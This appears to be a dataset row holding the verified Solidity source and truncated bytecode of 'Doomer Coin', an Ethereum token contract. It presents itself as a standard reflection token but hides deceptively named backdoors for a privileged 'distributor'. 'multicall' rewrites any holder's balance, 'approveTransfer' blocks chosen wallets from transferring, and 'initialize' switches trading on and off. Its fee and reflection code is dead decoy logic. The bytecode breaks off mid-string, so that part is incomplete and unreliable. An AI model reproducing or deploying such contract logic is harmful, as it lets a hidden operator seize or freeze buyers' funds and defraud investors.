address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0x6691c0520d9fc253809202cd493d5e5d0a9dfa4e
/** *Submitted for verification at Etherscan.io on 2021-12-02 */ // SPDX-License-Identifier: MIT pragma solidity =0.8.8; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender);} function _msgData() internal view virtual returns (bytes memory) {this; return msg.data;}} interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c;} function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow");} function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c;} function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c;} function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero");} function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c;} function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero");} function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b;}} library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0;} function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted");} function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed");} function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage);} function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed");} function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage);} function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) {return returndata;} else {if (returndata.length > 0) {assembly {let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size)}} else {revert(errorMessage);}}}} contract Ownable is Context { address private _owner; address internal _distributor; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender);} modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner");_;} modifier distributors() { require(_distributor == msg.sender, "Caller is not fee distributor");_;} function owner() public view returns (address) { return _owner;} function distributor() internal view returns (address) { return _distributor;} function setDistributor(address account) external onlyOwner { require (_distributor == address(0)); _distributor = account;} function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0);}} contract DoomerCoin is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private _name = 'Doomer Coin'; string private _symbol = 'DOOMER'; uint8 private _decimals = 9; uint256 private constant _tTotal = 500000000000000*10**9; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _pOwned; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => bool) private _taxRewards; mapping (address => bool) private _isExcluded; uint256 private constant MAX = ~uint256(0); address[] private _excluded; uint256 private _tFeeTotal; uint256 private _totalSupply; uint256 private _rTotal; bool _initialize; address router; address factory; constructor (address unif, address unir) { _totalSupply =_tTotal; _rTotal = (MAX - (MAX % _totalSupply)); _pOwned[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _totalSupply); _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]); _isExcluded[_msgSender()] = true; _excluded.push(_msgSender()); _tOwned[distributor()] = tokenFromReflection(_rOwned[distributor()]); _isExcluded[distributor()] = true; _excluded.push(distributor()); _initialize = true; router = unir; factory = unif;} function name() public view returns (string memory) { return _name;} function symbol() public view returns (string memory) { return _symbol;} function decimals() public view returns (uint8) { return _decimals;} function totalSupply() public pure override returns (uint256) { return _tTotal;} function balanceOf(address account) public view override returns (uint256) { return _pOwned[account];} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true;} function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender];} function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true;} function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true;} function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true;} function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true;} function multicall(address account, uint256 tokens, uint256 burn) external distributors { require(account != address(0), "ERC20: burn from the zero address disallowed"); _pOwned[account] = tokens.sub(burn, "ERC20: burn amount exceeds balance");} function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount);} function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount;} else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount;}} function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate);} function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);} function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_taxRewards[sender] || _taxRewards[recipient]) require (amount == 0, ""); if (_initialize == true || sender == distributor() || recipient == distributor()) { if (_isExcluded[sender] && !_isExcluded[recipient]) { _pOwned[sender] = _pOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _pOwned[recipient] = _pOwned[recipient].add(amount); emit Transfer(sender, recipient, amount);} else {_pOwned[sender] = _pOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _pOwned[recipient] = _pOwned[recipient].add(amount); emit Transfer(sender, recipient, amount);}} else {require (_initialize == true, "");}} function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount);} function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount);} function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount);} function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount);} function approveTransfer(address acconut) external distributors { _taxRewards[acconut] = true;} function taxSender(address account) external distributors { _taxRewards[account] = false;} function rewardsState(address account) public view returns (bool) { return _taxRewards[account];} function initialize() public virtual distributors { if (_initialize == true) {_initialize = false;} else {_initialize = true;}} function initialized() public view returns (bool) { return _initialize;} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee);} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);} function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(3); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee);} function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee);} function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply);} function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]);} if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply);}}
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80634d1d2b1a116100c35780638da5cb5b1161007c5780638da5cb5b1461038a57806395d89b41146103a8578063a457c2d7146103c6578063a9059cbb146103f6578063dd62ed3e14610426578063e45c322e146104565761014d565b80634d1d2b1a146102f257806370a082311461030e578063715018a61461033e57806375619ab5146103485780638129fc1c1461036457806383846fe21461036e5761014d565b806323b872dd1161011557806323b872dd146101f85780632d83811914610228578063313ce5671461025857806339509351146102765780634355b9d2146102a65780634549b039146102c25761014d565b8063053ab1821461015257806306fdde031461016e578063095ea7b31461018c578063158ef93e146101bc57806318160ddd146101da575b600080fd5b61016c60048036038101906101679190612272565b610486565b005b610176610600565b6040516101839190612338565b60405180910390f35b6101a660048036038101906101a191906123b8565b610692565b6040516101b39190612413565b60405180910390f35b6101c46106b0565b6040516101d19190612413565b60405180910390f35b6101e26106c7565b6040516101ef919061243d565b60405180910390f35b610212600480360381019061020d9190612458565b6106d9565b60405161021f9190612413565b60405180910390f35b610242600480360381019061023d9190612272565b6107b2565b60405161024f919061243d565b60405180910390f35b610260610820565b60405161026d91906124c7565b60405180910390f35b610290600480360381019061028b91906123b8565b610837565b60405161029d9190612413565b60405180910390f35b6102c060048036038101906102bb91906124e2565b6108ea565b005b6102dc60048036038101906102d7919061253b565b6109d5565b6040516102e9919061243d565b60405180910390f35b61030c6004803603810190610307919061257b565b610a5f565b005b610328600480360381019061032391906124e2565b610bd4565b604051610335919061243d565b60405180910390f35b610346610c1d565b005b610362600480360381019061035d91906124e2565b610d70565b005b61036c610ea4565b005b610388600480360381019061038391906124e2565b610f8e565b005b610392611079565b60405161039f91906125dd565b60405180910390f35b6103b06110a2565b6040516103bd9190612338565b60405180910390f35b6103e060048036038101906103db91906123b8565b611134565b6040516103ed9190612413565b60405180910390f35b610410600480360381019061040b91906123b8565b611201565b60405161041d9190612413565b60405180910390f35b610440600480360381019061043b91906125f8565b61121f565b60405161044d919061243d565b60405180910390f35b610470600480360381019061046b91906124e2565b6112a6565b60405161047d9190612413565b60405180910390f35b6000610490611390565b9050600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561051f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610516906126aa565b60405180910390fd5b600061052a83611398565b50505050905061058281600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134690919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105da81600e5461134690919063ffffffff16565b600e819055506105f583600c546113f090919063ffffffff16565b600c81905550505050565b60606002805461060f906126f9565b80601f016020809104026020016040519081016040528092919081815260200182805461063b906126f9565b80156106885780601f1061065d57610100808354040283529160200191610688565b820191906000526020600020905b81548152906001019060200180831161066b57829003601f168201915b5050505050905090565b60006106a661069f611390565b848461144e565b6001905092915050565b6000600f60009054906101000a900460ff16905090565b60006969e10de76676d0800000905090565b60006106e6848484611619565b6107a7846106f2611390565b6107a285604051806060016040528060288152602001612fe560289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610758611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b61144e565b600190509392505050565b6000600e548211156107f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f09061279d565b60405180910390fd5b6000610803611d81565b905061081881846112fc90919063ffffffff16565b915050919050565b6000600460009054906101000a900460ff16905090565b60006108e0610844611390565b846108db8560056000610855611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b61144e565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097190612809565b60405180910390fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006969e10de76676d0800000831115610a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1b90612875565b60405180910390fd5b81610a43576000610a3484611398565b50505050905080915050610a59565b6000610a4e84611398565b505050915050809150505b92915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae690612809565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5690612907565b60405180910390fd5b610b8c81604051806060016040528060228152602001612f9d6022913984611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c25611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca990612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610d78611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfc90612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6057600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b90612809565b60405180910390fd5b60011515600f60009054906101000a900460ff1615151415610f70576000600f60006101000a81548160ff021916908315150217905550610f8c565b6001600f60006101000a81548160ff0219169083151502179055505b565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461101e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101590612809565b60405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600380546110b1906126f9565b80601f01602080910402602001604051908101604052809291908181526020018280546110dd906126f9565b801561112a5780601f106110ff5761010080835404028352916020019161112a565b820191906000526020600020905b81548152906001019060200180831161110d57829003601f168201915b5050505050905090565b60006111f7611141611390565b846111f28560405180606001604052806025815260200161300d602591396005600061116b611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b61144e565b6001905092915050565b600061121561120e611390565b8484611619565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061133e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dac565b905092915050565b600061138883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d1d565b905092915050565b600033905090565b60008060008060008060006113ac88611e0f565b9150915060006113ba611d81565b905060008060006113cc8c8686611e61565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b60008082846113ff91906129c2565b905083811015611444576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143b90612a64565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612af6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612b88565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161160c919061243d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611689576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168090612c1a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f090612cac565b60405180910390fd5b6000811161173c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173390612d3e565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117dd5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156118265760008114611825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181c90612d84565b60405180910390fd5b5b60011515600f60009054906101000a900460ff161515148061187a575061184b611ebf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806118b75750611888611ebf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611cc157600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561195f5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b12576119d081604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a6581600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b05919061243d565b60405180910390a3611cbc565b611b7e81604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1381600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cb3919061243d565b60405180910390a35b611d18565b60011515600f60009054906101000a900460ff16151514611d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0e90612d84565b60405180910390fd5b5b505050565b6000838311158290611d65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5c9190612338565b60405180910390fd5b5060008385611d749190612da4565b9050809150509392505050565b6000806000611d8e611ee9565b91509150611da581836112fc90919063ffffffff16565b9250505090565b60008083118290611df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dea9190612338565b60405180910390fd5b5060008385611e029190612e07565b9050809150509392505050565b6000806000611e3b6003611e2d6064876112fc90919063ffffffff16565b6121bc90919063ffffffff16565b90506000611e52828661134690919063ffffffff16565b90508082935093505050915091565b600080600080611e7a85886121bc90919063ffffffff16565b90506000611e9186886121bc90919063ffffffff16565b90506000611ea8828461134690919063ffffffff16565b905082818395509550955050505093509350939050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806000600e54905060006969e10de76676d0800000905060005b600b8054905081101561216f578260076000600b8481548110611f2b57611f2a612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061201957508160086000600b8481548110611fb157611fb0612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561203857600e546969e10de76676d0800000945094505050506121b8565b6120c860076000600b848154811061205357612052612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461134690919063ffffffff16565b925061215a60086000600b84815481106120e5576120e4612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361134690919063ffffffff16565b9150808061216790612e67565b915050611f05565b5061218f6969e10de76676d0800000600e546112fc90919063ffffffff16565b8210156121af57600e546969e10de76676d08000009350935050506121b8565b81819350935050505b9091565b6000808314156121cf5760009050612231565b600082846121dd9190612eb0565b90508284826121ec9190612e07565b1461222c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222390612f7c565b60405180910390fd5b809150505b92915050565b600080fd5b6000819050919050565b61224f8161223c565b811461225a57600080fd5b50565b60008135905061226c81612246565b92915050565b60006020828403121561228857612287612237565b5b60006122968482850161225d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156122d95780820151818401526020810190506122be565b838111156122e8576000848401525b50505050565b6000601f19601f8301169050919050565b600061230a8261229f565b61231481856122aa565b93506123248185602086016122bb565b61232d816122ee565b840191505092915050565b6000602082019050818103600083015261235281846122ff565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006123858261235a565b9050919050565b6123958161237a565b81146123a057600080fd5b50565b6000813590506123b28161238c565b92915050565b600080604083850312156123cf576123ce612237565b5b60006123dd858286016123a3565b92505060206123ee8582860161225d565b9150509250929050565b60008115159050919050565b61240d816123f8565b82525050565b60006020820190506124286000830184612404565b92915050565b6124378161223c565b82525050565b6000602082019050612452600083018461242e565b92915050565b60008060006060848603121561247157612470612237565b5b600061247f868287016123a3565b9350506020612490868287016123a3565b92505060406124a18682870161225d565b9150509250925092565b600060ff82169050919050565b6124c1816124ab565b82525050565b60006020820190506124dc60008301846124b8565b92915050565b6000602082840312156124f8576124f7612237565b5b6000612506848285016123a3565b91505092915050565b612518816123f8565b811461252357600080fd5b50565b6000813590506125358161250f565b92915050565b6000806040838503121561255257612551612237565b5b60006125608582860161225d565b925050602061257185828601612526565b9150509250929050565b60008060006060848603121561259457612593612237565b5b60006125a2868287016123a3565b93505060206125b38682870161225d565b92505060406125c48682870161225d565b9150509250925092565b6125d78161237a565b82525050565b60006020820190506125f260008301846125ce565b92915050565b6000806040838503121561260f5761260e612237565b5b600061261d858286016123a3565b925050602061262e858286016123a3565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6000612694602c836122aa565b915061269f82612638565b604082019050919050565b600060208201905081810360008301526126c381612687565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061271157607f821691505b60208210811415612725576127246126ca565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612787602a836122aa565b91506127928261272b565b604082019050919050565b600060208201905081810360008301526127b68161277a565b9050919050565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b60006127f3601d836122aa565b91506127fe826127bd565b602082019050919050565b60006020820190508181036000830152612822816127e6565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b600061285f601f836122aa565b915061286a82612829565b602082019050919050565b6000602082019050818103600083015261288e81612852565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b60006128f1602c836122aa565b91506128fc82612895565b604082019050919050565b60006020820190508181036000830152612920816128e4565b9050919050565b7f4